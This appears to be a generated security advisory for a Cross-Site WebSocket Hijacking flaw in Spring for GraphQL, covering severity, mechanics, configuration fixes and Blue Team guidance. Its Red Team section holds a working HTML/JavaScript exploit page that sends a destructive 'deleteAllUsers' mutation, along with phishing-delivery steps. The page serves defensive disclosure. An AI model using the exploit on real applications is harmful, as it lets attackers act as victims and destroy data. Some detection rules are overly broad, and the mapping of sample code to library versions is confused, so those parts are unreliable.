CVE-2026-41700
Executive Summary
CVE-2026-41700 is a critical Cross-Site WebSocket Hijacking (CSWSH) vulnerability affecting Spring for GraphQL applications that have enabled the WebSocket transport. This vulnerability allows an attacker to trick an authenticated user into visiting a malicious page, enabling the attacker to execute arbitrary GraphQL operations with the victim's credentials. The vulnerability has a CVSS score of 8.1, indicating high severity, and affects multiple versions of Spring for GraphQL from 1.0.0 through 2.0.3. As of the latest information, no patch is available, and no public proof-of-concept exploits have been identified.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Spring for GraphQL library, which is distributed via Maven Central and other package repositories. Organizations using affected versions should monitor for updates and consider implementing additional security controls. The lack of a patch increases the risk of supply chain attacks, as malicious actors may attempt to exploit this vulnerability in production environments.
CVSS Breakdown & Threat Level
- CVSS Score: 8.1 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: High (I:H)
- Availability Impact: None (A:N)
The vulnerability requires user interaction, but the low attack complexity and high impact on confidentiality and integrity make it a significant threat. An attacker can execute arbitrary GraphQL operations, potentially accessing sensitive data or modifying application state.
Deep Dive & Mechanics
Cross-Site WebSocket Hijacking (CSWSH) occurs when a WebSocket connection is established without proper origin validation. In Spring for GraphQL, the WebSocket transport does not validate the Origin header, allowing an attacker to create a malicious web page that initiates a WebSocket connection to the vulnerable server using the victim's existing session cookies.
The attack flow:
- The victim is authenticated to the Spring for GraphQL application.
- The attacker tricks the victim into visiting a malicious page (e.g., via phishing or XSS).
- The malicious page uses JavaScript to open a WebSocket connection to the vulnerable server.
- The browser automatically includes the victim's session cookies (if
SameSiteis not set toStrictorLax). - The attacker can then send arbitrary GraphQL queries or mutations through the WebSocket, impersonating the victim.
The vulnerability is rooted in the lack of Origin header validation in the WebSocket handshake. The SameSite cookie attribute can mitigate this, but if not configured properly, the attack is feasible.
Vulnerable vs. Patched Code
Vulnerable Code (Spring for GraphQL 1.0.0 - 2.0.3):
// WebSocket configuration without origin validation
@Configuration
@EnableWebSocket
public class GraphQLWebSocketConfig implements WebSocketConfigurer {
@Override
public void registerWebSocketHandlers(WebSocketHandlerRegistry registry) {
registry.addHandler(graphQLWebSocketHandler(), "/graphql")
.setAllowedOrigins("*"); // Vulnerable: allows all origins
}
}
Patched Code (Hypothetical fix):
// WebSocket configuration with origin validation
@Configuration
@EnableWebSocket
public class GraphQLWebSocketConfig implements WebSocketConfigurer {
@Override
public void registerWebSocketHandlers(WebSocketHandlerRegistry registry) {
registry.addHandler(graphQLWebSocketHandler(), "/graphql")
.setAllowedOrigins("https://trusted-domain.com"); // Patched: restricts origins
}
}
The patched code explicitly restricts allowed origins to trusted domains, preventing unauthorized WebSocket connections.
Exploitation & Lab Setup
Red Team
Lab Setup:
- Deploy a vulnerable Spring for GraphQL application (version 1.0.0 - 2.0.3) with WebSocket transport enabled.
- Ensure the application uses session-based authentication (e.g., cookies).
- Set up a malicious web server to host the exploit page.
Exploit Code:
<!DOCTYPE html>
<html>
<head>
<title>CSWSH Exploit</title>
</head>
<body>
<script>
const ws = new WebSocket('wss://vulnerable-app.com/graphql');
ws.onopen = function() {
// Send a malicious GraphQL query
ws.send(JSON.stringify({
query: `mutation { deleteAllUsers }`
}));
};
</script>
</body>
</html>
Execution:
- Host the exploit page on the attacker's server.
- Send a phishing link to the victim.
- When the victim visits the page, the WebSocket connection is established using their session cookies.
- The attacker can execute arbitrary GraphQL operations.
Blue Team
Detection:
- Monitor WebSocket connections for unusual origins.
- Check for rapid GraphQL queries from a single WebSocket session.
- Analyze server logs for unexpected
Originheaders.
Mitigation:
- Implement
SameSite=StrictorSameSite=Laxcookies. - Validate the
Originheader on the server side. - Use CSRF tokens for WebSocket connections.
- Restrict WebSocket endpoints to trusted domains.
Indicators of Compromise (IOCs)
- Network: WebSocket connections from unexpected origins (e.g.,
Origin: nullorOrigin: http://malicious.com). - Logs: Multiple GraphQL queries from a single WebSocket session without prior authentication.
- Cookies: Session cookies with
SameSite=Noneor missingSameSiteattribute. - Headers: Missing or permissive
Access-Control-Allow-Originheaders.
Detection Engineering
YARA Rule
rule CVE_2026_41700_CSWSH {
meta:
description = "Detects Cross-Site WebSocket Hijacking in Spring for GraphQL"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-41700"
strings:
$s1 = "WebSocket" nocase
$s2 = "graphql" nocase
$s3 = "setAllowedOrigins" nocase
$s4 = "*" nocase
condition:
all of ($s1, $s2) and ($s3 or $s4)
}
Sigma Rule
title: Cross-Site WebSocket Hijacking in Spring for GraphQL
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects WebSocket connections with suspicious origins
author: Valters IT
date: 2026-01-01
logsource:
category: webserver
product: spring
detection:
selection:
- Origin: "null"
- Origin: "http://*"
- Origin: "https://*"
condition: selection
falsepositives:
- Legitimate cross-origin requests from trusted domains
level: high
Suricata Rule
alert tcp any any -> any 443 (msg:"CVE-2026-41700 - Cross-Site WebSocket Hijacking"; flow:to_server; content:"Upgrade: websocket"; nocase; content:"Origin: null"; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable WebSocket transport if not required.
- Set
SameSite=StrictorSameSite=Laxon session cookies. - Implement
Originheader validation on the server side.
Long-term Fix:
- Upgrade to a patched version of Spring for GraphQL once available.
- Use CSRF tokens for WebSocket connections.
- Restrict WebSocket endpoints to trusted domains using
setAllowedOrigins.
Monitoring:
- Enable logging for WebSocket connections.
- Monitor for unusual
Originheaders. - Use Web Application Firewall (WAF) rules to block suspicious WebSocket requests.
Valters IT
Securing Digital Frontiers